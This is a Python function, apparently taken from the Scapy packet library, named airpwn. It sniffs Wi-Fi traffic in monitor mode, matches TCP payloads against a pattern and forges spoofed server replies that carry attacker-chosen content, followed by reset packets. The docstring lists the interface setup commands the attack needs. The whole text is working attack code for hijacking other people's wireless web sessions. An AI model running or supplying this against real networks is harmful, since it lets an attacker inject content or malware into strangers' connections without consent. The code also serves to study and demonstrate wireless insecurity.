docs: def airpwn(iffrom, ifto, replace, pattern="", ignorepattern=""):
      """Before using this, initialize "iffrom" and "ifto" interfaces:
  iwconfig iffrom mode monitor
  iwpriv orig_ifto hostapd 1
  ifconfig ifto up
  note: if ifto=wlan0ap then orig_ifto=wlan0
  note: ifto and iffrom must be set on the same channel
  ex:
  ifconfig eth1 up
  iwconfig eth1 mode monitor
  iwconfig eth1 channel 11
  iwpriv wlan0 hostapd 1
  ifconfig wlan0ap up
  iwconfig wlan0 channel 11
  iwconfig wlan0 essid dontexist
  iwconfig wlan0 mode managed
  """
      
      ptrn = re.compile(pattern)
      iptrn = re.compile(ignorepattern)
      def do_airpwn(p, ifto=ifto, replace=replace, ptrn=ptrn, iptrn=iptrn):
          if not isinstance(p,Dot11):
              return
          if not p.FCfield & 1:
              return
          if not p.haslayer(TCP):
              return
          ip = p.getlayer(IP)
          tcp = p.getlayer(TCP)
          pay = str(tcp.payload)
  #        print "got tcp"
          if not ptrn.match(pay):
              return
  #        print "match 1"
          if iptrn.match(pay):
              return
  #        print "match 2"
          del(p.payload.payload.payload)
          p.FCfield="from-DS"
          p.addr1,p.addr2 = p.addr2,p.addr1
          q = p.copy()
          p /= IP(src=ip.dst,dst=ip.src)
          p /= TCP(sport=tcp.dport, dport=tcp.sport,
                   seq=tcp.ack, ack=tcp.seq+len(pay),
                   flags="PA")
          q = p.copy()
          p /= replace
          q.ID += 1
          q.getlayer(TCP).flags="RA"
          q.getlayer(TCP).seq+=len(replace)
          
          sendp([p,q], iface=ifto, verbose=0)
  #        print "send",repr(p)        
  #        print "send",repr(q)
          print(p.sprintf("Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%"))
  
      sniff(iface=iffrom,prn=do_airpwn)